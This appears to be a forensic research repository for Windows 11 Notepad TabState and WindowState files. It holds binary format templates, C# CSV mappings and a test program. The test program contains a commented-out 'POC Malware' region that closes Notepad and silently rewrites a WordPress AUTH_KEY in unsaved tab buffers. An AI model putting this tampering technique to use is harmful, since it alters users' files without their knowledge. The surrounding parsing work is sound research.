18 | //------------------------------------------------
19 |
20 | typedef struct {
21 | do {
22 | ubyte bytes;
23 | } while (bytes > 0x7F);
24 | } Uleb128 ;
25 |
26 | enum TypeFlag {
27 | Unsaved = 0,
28 | Saved = 1,
29 | NoFileTabState = 10,
30 | FileTabState = 11
31 | };
32 |
33 | enum Encoding {
34 | ANSI = 1,
35 | UTF16LE = 2,
36 | UTF16BE = 3,
37 | UTF8BOM = 4,
38 | UTF8 = 5,
39 | };
40 |
41 | enum CarriageType {
42 | Windows_CRLF = 1,
43 | Macintosh_CR = 2,
44 | Unix_LF = 3,
45 | };
46 |
47 | typedef struct {
48 | char Magic_Bytes[2] ;
49 | Uleb128 Sequence_Number;
50 | TypeFlag Type_Flag ;
51 | } Header;
52 |
53 | typedef struct {
54 | Uleb128 FilePathLength;
55 | wchar_t FilePath[DecodeUleb128(FilePathLength)] ;
56 |
57 | } FilePathBuffer;
58 |
59 | typedef struct {
60 | Uleb128 ContentLength;
61 | if (DecodeUleb128(ContentLength) > 0)
62 | {
63 | wchar_t Content[DecodeUleb128(ContentLength)] ;
64 | }
65 |
66 | } ContentBuffer;
67 |
68 | typedef struct {
69 | Encoding EncodingType ;
70 | CarriageType CarriageReturnType ;
71 | Uleb128 Timestamp ;
72 | ubyte FileHash[0x20] ;
73 |
74 | } Metadata;
75 |
76 | typedef struct {
77 | Uleb128 SelectionStartIndex ;
78 | Uleb128 SelectionEndIndex ;
79 | } CursorData;
80 |
81 | typedef struct {
82 | ubyte WordWrap ;
83 | ubyte RightToLeft ;
84 | ubyte ShowUnicode ;
85 | Uleb128 MoreOptions;
86 |
87 | local int x;
88 |
89 | for (x=0; x < DecodeUleb128(MoreOptions); x++)
90 | {
91 | ubyte unknown_options ;
92 | }
93 | } TabStateOptions;
94 |
95 | typedef struct {
96 | Uleb128 CursorPosition ;
97 | Uleb128 DeletionAction ;
98 | Uleb128 AdditionAction ;
99 | if (DecodeUleb128(AdditionAction) > 0)
100 | {
101 | wchar_t AddedCharacters[DecodeUleb128(AdditionAction)] ;
102 | }
103 | uint32 crc32 ;
104 | } UnsavedBufferChunk;
105 |
106 | //------------------------------------------------
107 | // Funcs
108 | //------------------------------------------------
109 |
110 | uint64 DecodeUleb128(Uleb128 &varint) {
111 | local uint64 val = 0;
112 | local int i;
113 | local uint64 num;
114 | for( i = 0; i < sizeof(varint); i++ ) {
115 | num = varint.bytes[i] & 0x7F;
116 | val |= num << (i * 7);
117 | }
118 | return val;
119 | }
120 |
121 | string Uleb128ValueToStr(Uleb128 &varint) {
122 | return Str("%Lu", DecodeUleb128(varint));
123 | }
124 |
125 | //------------------------------------------------
126 | // File
127 | //------------------------------------------------
128 |
129 | Header HeaderInfo;
130 |
131 | switch (HeaderInfo.Type_Flag)
132 | {
133 | case 0:
134 | ubyte unk ;
135 | break;
136 | case 1:
137 | FilePathBuffer FilePath;
138 | Uleb128 SavedFileContentLength;
139 | Metadata FileMetaData;
140 | ubyte unk ;
141 | ubyte unk2 ;
142 | break;
143 | default:
144 | ubyte unknown ;
145 | Uleb128 BinSize ;
146 | break;
147 | }
148 |
149 | CursorData CursorPosition;
150 | TabStateOptions ConfigurationBlock;
151 |
152 | switch (HeaderInfo.Type_Flag)
153 | {
154 | case 0:
155 | case 1:
156 | ContentBuffer Content;
157 | ubyte Unsaved;
158 | break;
159 | default:
160 | break;
161 | }
162 |
163 | uint32 crc32 ;
164 |
165 | while (!FEof()) {
166 | UnsavedBufferChunk ubc;
167 | }
--------------------------------------------------------------------------------
/NotepadStateLibrary/WindowsNotepadParser/CSVMaps.cs:
--------------------------------------------------------------------------------
1 | using NotepadStateLibrary;
2 | using CsvHelper.Configuration;
3 |
4 | namespace WindowsNotepadParser_Minimal
5 | {
6 | public sealed class NoFileMap : ClassMap
7 | {
8 | public NoFileMap()
9 | {
10 | AutoMap(System.Globalization.CultureInfo.InvariantCulture);
11 | Map(m => m.FilePathLength).Ignore();
12 | Map(m => m.FilePath).Ignore();
13 | Map(m => m.SavedFileContentLength).Ignore();
14 | Map(m => m.EncodingType).Ignore();
15 | Map(m => m.CarriageReturnType).Ignore();
16 | Map(m => m.Timestamp).Ignore();
17 | Map(m => m.FileHashStored).Ignore();
18 | Map(m => m.BinSize).Ignore();
19 |
20 | Map(m => m.FileName).Index(0);
21 | Map(m => m.SequenceNumber).Index(1);
22 | Map(m => m.TypeFlag).Index(2);
23 | Map(m => m.SelectionStartIndex).Index(3);
24 | Map(m => m.SelectionEndIndex).Index(4);
25 | Map(m => m.WordWrap).Index(5);
26 | Map(m => m.RightToLeft).Index(6);
27 | Map(m => m.ShowUnicode).Index(7);
28 | Map(m => m.OptionCount).Index(8);
29 | Map(m => m.Options).Index(9);
30 | Map(m => m.ContentLength).Index(10);
31 | Map(m => m.Content).Index(11);
32 | Map(m => m.ContentString).Index(12);
33 | Map(m => m.Unsaved).Index(13);
34 | Map(m => m.CRC32Stored).Index(14);
35 | Map(m => m.CRC32Calculated).Index(15);
36 | Map(m => m.bytes).Index(16);
37 | }
38 | }
39 |
40 | public sealed class FileMap : ClassMap
41 | {
42 | public FileMap()
43 | {
44 | AutoMap(System.Globalization.CultureInfo.InvariantCulture);
45 |
46 | Map(m => m.BinSize).Ignore();
47 |
48 | Map(m => m.FileName).Index(0);
49 | Map(m => m.SequenceNumber).Index(1);
50 | Map(m => m.TypeFlag).Index(2);
51 | Map(m => m.FilePathLength).Index(3);
52 | Map(m => m.FilePath).Index(4);
53 | Map(m => m.SavedFileContentLength).Index(5);
54 | Map(m => m.EncodingType).Index(6);
55 | Map(m => m.CarriageReturnType).Index(7);
56 | Map(m => m.Timestamp).Index(8);
57 | Map(m => m.FileHashStored).Index(9);
58 | Map(m => m.SelectionStartIndex).Index(10);
59 | Map(m => m.SelectionEndIndex).Index(11);
60 | Map(m => m.WordWrap).Index(12);
61 | Map(m => m.RightToLeft).Index(13);
62 | Map(m => m.ShowUnicode).Index(14);
63 | Map(m => m.OptionCount).Index(15);
64 | Map(m => m.Options).Index(16);
65 | Map(m => m.ContentLength).Index(17);
66 | Map(m => m.Content).Index(18);
67 | Map(m => m.ContentString).Index(19);
68 | Map(m => m.Unsaved).Index(20);
69 | Map(m => m.CRC32Stored).Index(21);
70 | Map(m => m.CRC32Calculated).Index(22);
71 | Map(m => m.bytes).Index(23);
72 | }
73 | }
74 |
75 | public sealed class StateMap : ClassMap
76 | {
77 | public StateMap()
78 | {
79 | AutoMap(System.Globalization.CultureInfo.InvariantCulture);
80 | Map(m => m.FilePathLength).Ignore();
81 | Map(m => m.FilePath).Ignore();
82 | Map(m => m.SavedFileContentLength).Ignore();
83 | Map(m => m.EncodingType).Ignore();
84 | Map(m => m.CarriageReturnType).Ignore();
85 | Map(m => m.Timestamp).Ignore();
86 | Map(m => m.FileHashStored).Ignore();
87 | Map(m => m.ContentLength).Ignore();
88 | Map(m => m.Content).Ignore();
89 | Map(m => m.ContentString).Ignore();
90 | Map(m => m.Unsaved).Ignore();
91 |
92 | Map(m => m.FileName).Index(0);
93 | Map(m => m.SequenceNumber).Index(1);
94 | Map(m => m.TypeFlag).Index(2);
95 | Map(m => m.BinSize).Index(3);
96 | Map(m => m.SelectionStartIndex).Index(4);
97 | Map(m => m.SelectionEndIndex).Index(5);
98 | Map(m => m.WordWrap).Index(6);
99 | Map(m => m.RightToLeft).Index(7);
100 | Map(m => m.ShowUnicode).Index(8);
101 | Map(m => m.OptionCount).Index(9);
102 | Map(m => m.Options).Index(10);
103 | Map(m => m.CRC32Stored).Index(11);
104 | Map(m => m.CRC32Calculated).Index(12);
105 | Map(m => m.bytes).Index(13);
106 | }
107 | }
108 |
109 | public sealed class WindowMap : ClassMap
110 | {
111 | public WindowMap()
112 | {
113 | AutoMap(System.Globalization.CultureInfo.InvariantCulture);
114 | Map(m => m.FileName).Index(0);
115 | Map(m => m.SequenceNumber).Index(1);
116 | Map(m => m.BytesToCRC).Index(2);
117 | Map(m => m.NumberTabs).Index(3);
118 | Map(m => m.TabsList).Index(4);
119 | Map(m => m.ActiveTab).Index(5);
120 | Map(m => m.TopLeftCoords.X).Name("TopLeftCoords-X").Index(6);
121 | Map(m => m.TopLeftCoords.Y).Name("TopLeftCoords-Y").Index(7);
122 | Map(m => m.BottomRightCoords.X).Name("BottomRightCoords-X").Index(8);
123 | Map(m => m.BottomRightCoords.Y).Name("BottomRightCoords-Y").Index(9);
124 | Map(m => m.WindowSize.X).Name("WindowSize-X").Index(10);
125 | Map(m => m.WindowSize.Y).Name("WindowSize-Y").Index(11);
126 | Map(m => m.CRC32Stored).Index(12);
127 | Map(m => m.CRC32Calculated).Index(13);
128 | Map(m => m.bytes).Index(14);
129 | }
130 | }
131 | }
132 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/WindowsNotepadParser-Minimal/CSVMaps.cs:
--------------------------------------------------------------------------------
1 | using NotepadStateLibrary;
2 | using CsvHelper.Configuration;
3 |
4 | namespace WindowsNotepadParser_Minimal
5 | {
6 | public sealed class NoFileMap : ClassMap
7 | {
8 | public NoFileMap()
9 | {
10 | AutoMap(System.Globalization.CultureInfo.InvariantCulture);
11 | Map(m => m.FilePathLength).Ignore();
12 | Map(m => m.FilePath).Ignore();
13 | Map(m => m.SavedFileContentLength).Ignore();
14 | Map(m => m.EncodingType).Ignore();
15 | Map(m => m.CarriageReturnType).Ignore();
16 | Map(m => m.Timestamp).Ignore();
17 | Map(m => m.FileHashStored).Ignore();
18 | Map(m => m.BinSize).Ignore();
19 |
20 | Map(m => m.FileName).Index(0);
21 | Map(m => m.SequenceNumber).Index(1);
22 | Map(m => m.TypeFlag).Index(2);
23 | Map(m => m.SelectionStartIndex).Index(3);
24 | Map(m => m.SelectionEndIndex).Index(4);
25 | Map(m => m.WordWrap).Index(5);
26 | Map(m => m.RightToLeft).Index(6);
27 | Map(m => m.ShowUnicode).Index(7);
28 | Map(m => m.OptionCount).Index(8);
29 | Map(m => m.Options).Index(9);
30 | Map(m => m.ContentLength).Index(10);
31 | Map(m => m.Content).Index(11);
32 | Map(m => m.ContentString).Index(12);
33 | Map(m => m.Unsaved).Index(13);
34 | Map(m => m.CRC32Stored).Index(14);
35 | Map(m => m.CRC32Calculated).Index(15);
36 | Map(m => m.bytes).Index(16);
37 | }
38 | }
39 |
40 | public sealed class FileMap : ClassMap
41 | {
42 | public FileMap()
43 | {
44 | AutoMap(System.Globalization.CultureInfo.InvariantCulture);
45 |
46 | Map(m => m.BinSize).Ignore();
47 |
48 | Map(m => m.FileName).Index(0);
49 | Map(m => m.SequenceNumber).Index(1);
50 | Map(m => m.TypeFlag).Index(2);
51 | Map(m => m.FilePathLength).Index(3);
52 | Map(m => m.FilePath).Index(4);
53 | Map(m => m.SavedFileContentLength).Index(5);
54 | Map(m => m.EncodingType).Index(6);
55 | Map(m => m.CarriageReturnType).Index(7);
56 | Map(m => m.Timestamp).Index(8);
57 | Map(m => m.FileHashStored).Index(9);
58 | Map(m => m.SelectionStartIndex).Index(10);
59 | Map(m => m.SelectionEndIndex).Index(11);
60 | Map(m => m.WordWrap).Index(12);
61 | Map(m => m.RightToLeft).Index(13);
62 | Map(m => m.ShowUnicode).Index(14);
63 | Map(m => m.OptionCount).Index(15);
64 | Map(m => m.Options).Index(16);
65 | Map(m => m.ContentLength).Index(17);
66 | Map(m => m.Content).Index(18);
67 | Map(m => m.ContentString).Index(19);
68 | Map(m => m.Unsaved).Index(20);
69 | Map(m => m.CRC32Stored).Index(21);
70 | Map(m => m.CRC32Calculated).Index(22);
71 | Map(m => m.bytes).Index(23);
72 | }
73 | }
74 |
75 | public sealed class StateMap : ClassMap
76 | {
77 | public StateMap()
78 | {
79 | AutoMap(System.Globalization.CultureInfo.InvariantCulture);
80 | Map(m => m.FilePathLength).Ignore();
81 | Map(m => m.FilePath).Ignore();
82 | Map(m => m.SavedFileContentLength).Ignore();
83 | Map(m => m.EncodingType).Ignore();
84 | Map(m => m.CarriageReturnType).Ignore();
85 | Map(m => m.Timestamp).Ignore();
86 | Map(m => m.FileHashStored).Ignore();
87 | Map(m => m.ContentLength).Ignore();
88 | Map(m => m.Content).Ignore();
89 | Map(m => m.ContentString).Ignore();
90 | Map(m => m.Unsaved).Ignore();
91 |
92 | Map(m => m.FileName).Index(0);
93 | Map(m => m.SequenceNumber).Index(1);
94 | Map(m => m.TypeFlag).Index(2);
95 | Map(m => m.BinSize).Index(3);
96 | Map(m => m.SelectionStartIndex).Index(4);
97 | Map(m => m.SelectionEndIndex).Index(5);
98 | Map(m => m.WordWrap).Index(6);
99 | Map(m => m.RightToLeft).Index(7);
100 | Map(m => m.ShowUnicode).Index(8);
101 | Map(m => m.OptionCount).Index(9);
102 | Map(m => m.Options).Index(10);
103 | Map(m => m.CRC32Stored).Index(11);
104 | Map(m => m.CRC32Calculated).Index(12);
105 | Map(m => m.bytes).Index(13);
106 | }
107 | }
108 |
109 | public sealed class WindowMap : ClassMap
110 | {
111 | public WindowMap()
112 | {
113 | AutoMap(System.Globalization.CultureInfo.InvariantCulture);
114 | Map(m => m.FileName).Index(0);
115 | Map(m => m.SequenceNumber).Index(1);
116 | Map(m => m.BytesToCRC).Index(2);
117 | Map(m => m.NumberTabs).Index(3);
118 | Map(m => m.TabsList).Index(4);
119 | Map(m => m.ActiveTab).Index(5);
120 | Map(m => m.TopLeftCoords.X).Name("TopLeftCoords-X").Index(6);
121 | Map(m => m.TopLeftCoords.Y).Name("TopLeftCoords-Y").Index(7);
122 | Map(m => m.BottomRightCoords.X).Name("BottomRightCoords-X").Index(8);
123 | Map(m => m.BottomRightCoords.Y).Name("BottomRightCoords-Y").Index(9);
124 | Map(m => m.WindowSize.X).Name("WindowSize-X").Index(10);
125 | Map(m => m.WindowSize.Y).Name("WindowSize-Y").Index(11);
126 | Map(m => m.CRC32Stored).Index(12);
127 | Map(m => m.CRC32Calculated).Index(13);
128 | Map(m => m.bytes).Index(14);
129 | }
130 | }
131 | }
132 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/Program.cs:
--------------------------------------------------------------------------------
1 | // See https://aka.ms/new-console-template for more information
2 | using NotepadStateLibrary;
3 | using System.Diagnostics;
4 | using System.Formats.Asn1;
5 | using System.Globalization;
6 | using System.Text;
7 |
8 | Console.WriteLine("********** Starting *********");
9 |
10 |
11 | string folder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\WindowState");
12 |
13 | foreach (var path in Directory.EnumerateFiles(folder, "*.bin"))
14 | {
15 | byte[] o = new byte[0];
16 |
17 | using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite))
18 | {
19 | byte[] data = new byte[fileStream.Length];
20 | fileStream.Read(data);
21 |
22 | if (data.Length > 0)
23 | {
24 | Console.WriteLine("Processing WindowState - {0}", Path.GetFileName(path));
25 | NPWindowState np = new NPWindowState(data, Path.GetFileName(path));
26 |
27 | List curList = new List();
28 | foreach (var b in np.Tabs)
29 | {
30 | curList.Add(new Guid(b));
31 | }
32 |
33 | string addGuid = "66e70d99-c296-44e0-bd96-b2a190f6173b";
34 | curList.Add(new Guid(addGuid));
35 |
36 | List newList = new List();
37 | foreach (var g in curList)
38 | {
39 | newList.Add(g.ToByteArray());
40 | }
41 |
42 | np.WriteTabList(newList);
43 |
44 | o = np.bytes;
45 | }
46 | }
47 | File.WriteAllBytes(path, o);
48 | }
49 |
50 |
51 |
52 | //https://www.mking.net/blog/programmatically-determining-whether-a-windows-user-is-idle
53 |
54 | //https://www.fluxbytes.com/csharp/how-to-know-if-a-process-exited-or-started-using-events-in-c/
55 |
56 | //POC Malware.
57 | //Poll for Notepad to open
58 | //Poll for a specific file to be opened by filename
59 | //Poll for that file to be set to Unsaved
60 | //Check for inactivity timer
61 | //Make change
62 | //Profit???
63 |
64 | #region malware
65 | //bool wasOpen = false;
66 |
67 | //if (Process.GetProcessesByName("notepad").Length > 0)
68 | //{
69 | // wasOpen = true;
70 | // foreach (var p in Process.GetProcessesByName("notepad"))
71 | // {
72 | // p.CloseMainWindow();
73 | // p.Close();
74 | // }
75 | //}
76 |
77 | //string folder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState");
78 |
79 | //foreach (var path in Directory.EnumerateFiles(folder, "*.bin"))
80 | //{
81 | // byte[] o = new byte[0];
82 |
83 | // using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite))
84 | // {
85 | // byte[] data = new byte[fileStream.Length];
86 | // fileStream.Read(data);
87 |
88 | // if (data.Length > 0)
89 | // {
90 | // Console.WriteLine("Processing TabState - {0}", Path.GetFileName(path));
91 | // NPTabState np = new NPTabState(data, Path.GetFileName(path));
92 |
93 |
94 | // if (np.TypeFlag <= 1)
95 | // {
96 | // //var s = np.Content;
97 | // //s[208] = 32;
98 | // //o = np.WriteContent(s);
99 |
100 | // string c = np.ContentString;
101 | // int start = c.IndexOf("define('AUTH_KEY',");
102 | // int end = c.Substring(start).IndexOf(");") + 2;
103 | // var n = Encoding.Unicode.GetBytes(c.Remove(start, end).Insert(start, "define('AUTH_KEY', '->-&3du!!^iN|U[57nG({}6&compromisedQ-,NXiN5Uv7txxX469`8v-dCYYf,H');"));
104 | // o = np.WriteContent(n);
105 |
106 | // //File.WriteAllBytes(path, o);
107 | // }
108 | // }
109 | // }
110 | // File.WriteAllBytes(path, o);
111 | //}
112 |
113 | //if (wasOpen)
114 | //{
115 | // Process.Start("notepad.exe");
116 | //}
117 | #endregion
118 |
119 | //folder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\WindowState");
120 |
121 | //foreach (var path in Directory.EnumerateFiles(folder, "*.bin"))
122 | //{
123 | // byte[] b = File.ReadAllBytes(path);
124 | // if (b.Length > 0)
125 | // {
126 |
127 | // NPWindowState np = new NPWindowState(b, Path.GetFileName(path));
128 | // Console.WriteLine(Path.GetFileName(path));
129 | // Console.WriteLine(np.NumberTabs.ToString());
130 |
131 | // if (np.CRC32Calculated.SequenceEqual(np.CRC32Stored))
132 | // {
133 | // Console.WriteLine("OK");
134 | // }
135 | // else
136 | // {
137 | // Console.WriteLine("FAIL");
138 | // }
139 | // Console.WriteLine("*****************************************");
140 | // }
141 | //}
142 |
143 | #region
144 | //NPTabState npWrite = new NPTabState(Encoding.Unicode.GetBytes("Test"), [0x0], [0x0], new List(), [0x1]);
145 | //File.WriteAllBytes("check.bin", npWrite.bytes);
146 |
147 | //NPTabState npWrite0 = new NPTabState(0, 25, 4, 4, [0x1], [0x0], [0x0]);
148 | //File.WriteAllBytes("0.bin", npWrite0.bytes);
149 |
150 |
151 | //byte[] sha = {
152 | // 0x27, 0x09, 0x60, 0x35, 0x22, 0x8A, 0xA1, 0xB4, 0x47, 0x98, 0x4D, 0x7E, 0x1D, 0xFD, 0x10, 0xB9,
153 | // 0xA8, 0x57, 0x16, 0xDA, 0x29, 0xA4, 0xEF, 0xFB, 0x65, 0x02, 0xE4, 0xA6, 0xDE, 0x26, 0x7A, 0xB3,
154 | //};
155 |
156 | //byte[] c = {
157 | // 0x74, 0x00, 0x65, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x73, 0x00, 0x74, 0x00, 0x74, 0x00,
158 | // 0x65, 0x00, 0x73, 0x00, 0x74, 0x00, 0x73, 0x00,
159 | //};
160 |
161 | //NPTabState npWrite1 = new NPTabState(0, [0x01], @"C:\Users\Reversing\Desktop\Test.txt", 12, [0x05], [0x01], new DateTime(2024, 4, 16, 11, 55, 24), sha, 0, 0, [0x1], [0x0], [0x0], c);
162 | //File.WriteAllBytes("saved.bin", npWrite1.bytes);
163 | #endregion
164 |
165 | //NPTabState np = new NPTabState(File.ReadAllBytes(@"C:\Users\Reversing\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState\f62c642a-29ba-443a-baef-d3185c5e7910.bin"));
166 | //Console.WriteLine(Encoding.Unicode.GetString(np.Content));
167 | //File.WriteAllBytes(@"C:\Users\Reversing\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState\98c4291f-34a1-4ffe-b195-72e297d4ff60.bin",np.WriteContent(Encoding.Unicode.GetBytes("How are you?")));
168 |
169 |
170 | Console.WriteLine("********** Completed **********");
171 | //Console.ReadLine();
--------------------------------------------------------------------------------
/PatternFiles/Tabstate/Notepad-TabState.hexpat:
--------------------------------------------------------------------------------
1 | #pragma author ogmini https://github.com/ogmini JustArion https://github.com/JustArion
2 | #pragma description Windows 11 Notepad Tab State file
3 | // File found at %localappdata%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState
4 | #pragma magic [ 4E 50 ??] @ 0x00
5 |
6 | #include
7 | #include
8 | #include
9 | #include
10 |
11 | using ul = type::uLEB128;
12 | using int = u32;
13 | using byte = u8;
14 |
15 |
16 | // https://github.com/ogmini/Notepad-Tabstate-Buffer/blob/main/README.md#insertion-chunk
17 | struct UnsavedChunk
18 | {
19 | ul CursorPosition;
20 | ul CharactersDeleted;
21 | ul CharactersAdded;
22 | char16 AddedCharacters[CharactersAdded];
23 | byte CRC32[4] [[format("format_to_hex")]];
24 | };
25 |
26 | // --- Data Types ---
27 |
28 | // Default fallback is UTF-8
29 | enum EncodingTypes : byte
30 | {
31 | UTF8 = 5,
32 | UTF8BOM = 4,
33 | UTF16BE = 3,
34 | UTF16LE = 2,
35 | ANSI = 1,
36 | };
37 |
38 | enum EOLSequenceType : byte
39 | {
40 | Windows_CRLF = 1, // Windows
41 | Mac_CR = 2, // Mac
42 | Unix_LF = 3 // Linux
43 | };
44 |
45 | enum TypeFlag : byte
46 | {
47 | Unsaved = 0,
48 | Saved = 1,
49 | NoFileTabState = 10,
50 | FileTabState = 11
51 | };
52 |
53 | struct Header
54 | {
55 | char Magic_Bytes[2]; // NP
56 | // https://github.com/Nordgaren/tabstate-util/issues/1#issuecomment-1988731585
57 | ul Sequence_Number; // 0 in Saved files.
58 | TypeFlag Type_Flag;
59 | };
60 |
61 | struct SelectionInfo
62 | {
63 | ul SelectionStartIndex;
64 | ul SelectionEndIndex;
65 | };
66 |
67 | // https://github.com/Nordgaren/tabstate-util/blob/master/TabState.bt#L48
68 | struct TabOptions
69 | {
70 | byte WordWrap;
71 | byte RightToLeft;
72 | byte ShowUnicode;
73 | ul MoreOptions;
74 | byte unknown_options[MoreOptions];
75 | };
76 |
77 | struct SavedFileInfo
78 | {
79 | ul FilePathLength;
80 | char16 SavedFilePath[FilePathLength];
81 | ul ContentLength;
82 | EncodingTypes EncodingType;
83 | EOLSequenceType CarriageReturnType;
84 | //ul FileTime [[comment("18-digit Win32 FILETIME")]];
85 | ul Timestamp [[format("filetime_to_local"),comment("18-digit Win32 FILETIME")]] ;
86 | byte FileHash[32] [[format("format_to_hex")]];
87 | };
88 |
89 | struct NotepadTab
90 | {
91 | Header HeaderInfo;
92 |
93 | if (HeaderInfo.Type_Flag == 0)
94 | {
95 | byte unk [[comment("Appears to always be 0x1")]];
96 | }
97 | else if (HeaderInfo.Type_Flag == 1)
98 | {
99 | SavedFileInfo FileInfo;
100 |
101 | byte unk[2] [[comment("Appears to always be 0x0 0x1")]];
102 | }
103 | else
104 | {
105 | //state file
106 | byte unk;
107 | ul BinSize [[comment("Size in bytes of the associated *.bin")]];
108 | }
109 |
110 | SelectionInfo CursorPosition;
111 | TabOptions ConfigurationBlock;
112 |
113 | if (HeaderInfo.Type_Flag == 0)
114 | {
115 | ul ContentLength;
116 | char16 Content[ContentLength];
117 | bool Unsaved;
118 | }
119 | else if (HeaderInfo.Type_Flag == 1)
120 | {
121 | ul ContentLength;
122 | char16 Content[ContentLength];
123 | bool Unsaved;
124 | }
125 | else
126 | {
127 | }
128 |
129 | byte CRC32[4] [[format("format_to_hex"),comment("CRC32 of .bin")]];
130 |
131 | //
132 | UnsavedChunk Chunks[while(!std::mem::eof())];
133 | };
134 |
135 | // --- Functions ---
136 |
137 |
138 |
139 | fn filetime_to_local(ul time)
140 | {
141 | int epoch = std::time::filetime_to_unix(time);
142 | return std::time::format(std::time::to_local(epoch), "%Y-%m-%d | %H:%M:%S");
143 | };
144 |
145 | fn format_to_hex(auto data)
146 | {
147 | int length = std::core::member_count(data);
148 | str result;
149 | for(int i = 0, i < length, i = i+1)
150 | {
151 | result = result + std::format("{:X}", u8(data[i]));
152 | }
153 | return result;
154 | };
155 |
156 | // -- Declaration --
157 |
158 | NotepadTab TabState @ 0x0;
159 |
160 | // -- Presentation --
161 |
162 | if (TabState.HeaderInfo.Type_Flag == 0)
163 | {
164 | str formattedFileTime = filetime_to_local(TabState.FileInfo.Timestamp);
165 |
166 | std::print("Cursor Position: {0}", TabState.CursorPosition.SelectionStartIndex);
167 |
168 | std::print("ConfigurationBlock{0}", TabState.ConfigurationBlock);
169 |
170 | if (TabState.CursorPosition.SelectionStartIndex != TabState.CursorPosition.SelectionEndIndex)
171 | {
172 | std::print("Selection End Index: {0}", TabState.CursorInfo.SelectionEndIndex);
173 | str slice = std::string::substr(std::string::to_string(TabState.Content), TabState.CursorInfo.SelectionStartIndex, TabState.CursorInfo.SelectionEndIndex - TabState.CursorInfo.SelectionStartIndex);
174 | std::print("Selected Text: {0}", slice);
175 | }
176 |
177 | std::print("Content: {0}", TabState.Content);
178 |
179 | // -- Output any unsaved buffer chunks --
180 | std::print("\nUnsaved Buffer Chunks\n------");
181 |
182 | std::print("Chunks:\n{0}", TabState.Chunks);
183 |
184 | // -- Print Unknowns --
185 | std::print("\nUnknowns\n------");
186 |
187 | std::print("unk: {0}", TabState.unk);
188 | std::print("Unknown ConfigurationBlockOption: {0}\n", TabState.ConfigurationBlock.MoreOptions);
189 | }
190 | else if (TabState.HeaderInfo.Type_Flag == 1)
191 | {
192 | str formattedFileTime = filetime_to_local(TabState.FileInfo.Timestamp);
193 |
194 | std::print("Encoding Type: {0}", std::string::to_string(TabState.FileInfo.EncodingType));
195 | std::print("Line Carriage Type: {0}", std::string::to_string(TabState.FileInfo.CarriageReturnType));
196 | std::print("File: {0}", TabState.FileInfo.SavedFilePath);
197 | std::print("Saved at " + formattedFileTime);
198 | std::print("FileHash{0}", format_to_hex(TabState.FileInfo.FileHash));
199 |
200 | std::print("Cursor Position: {0}", TabState.CursorPosition.SelectionStartIndex);
201 |
202 | std::print("ConfigurationBlock{0}", TabState.ConfigurationBlock);
203 |
204 | if (TabState.CursorPosition.SelectionStartIndex != TabState.CursorPosition.SelectionEndIndex)
205 | {
206 | std::print("Selection End Index: {0}", TabState.CursorInfo.SelectionEndIndex);
207 | str slice = std::string::substr(std::string::to_string(TabState.Content), TabState.CursorInfo.SelectionStartIndex, TabState.CursorInfo.SelectionEndIndex - TabState.CursorInfo.SelectionStartIndex);
208 | std::print("Selected Text: {0}", slice);
209 | }
210 |
211 | std::print("Content: {0}", TabState.Content);
212 |
213 |
214 | // -- Output any unsaved buffer chunks --
215 | std::print("\nUnsaved Buffer Chunks\n------");
216 |
217 | std::print("Chunks:\n{0}", TabState.Chunks);
218 |
219 | // -- Print Unknowns --
220 | std::print("\nUnknowns\n------");
221 |
222 | std::print("unk: {0}", TabState.unk);
223 | std::print("Unknown ConfigurationBlockOption: {0}\n", TabState.ConfigurationBlock.MoreOptions);
224 | }
225 | else
226 | {
227 |
228 | }
229 |
230 |
231 | std::print("CRC32: {0}", format_to_hex(TabState.CRC32));
232 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Ww][Ii][Nn]32/
27 | [Aa][Rr][Mm]/
28 | [Aa][Rr][Mm]64/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Ll]og/
33 | [Ll]ogs/
34 |
35 | # Visual Studio 2015/2017 cache/options directory
36 | .vs/
37 | # Uncomment if you have tasks that create the project's static files in wwwroot
38 | #wwwroot/
39 |
40 | # Visual Studio 2017 auto generated files
41 | Generated\ Files/
42 |
43 | # MSTest test Results
44 | [Tt]est[Rr]esult*/
45 | [Bb]uild[Ll]og.*
46 |
47 | # NUnit
48 | *.VisualState.xml
49 | TestResult.xml
50 | nunit-*.xml
51 |
52 | # Build Results of an ATL Project
53 | [Dd]ebugPS/
54 | [Rr]eleasePS/
55 | dlldata.c
56 |
57 | # Benchmark Results
58 | BenchmarkDotNet.Artifacts/
59 |
60 | # .NET Core
61 | project.lock.json
62 | project.fragment.lock.json
63 | artifacts/
64 |
65 | # ASP.NET Scaffolding
66 | ScaffoldingReadMe.txt
67 |
68 | # StyleCop
69 | StyleCopReport.xml
70 |
71 | # Files built by Visual Studio
72 | *_i.c
73 | *_p.c
74 | *_h.h
75 | *.ilk
76 | *.meta
77 | *.obj
78 | *.iobj
79 | *.pch
80 | *.pdb
81 | *.ipdb
82 | *.pgc
83 | *.pgd
84 | *.rsp
85 | *.sbr
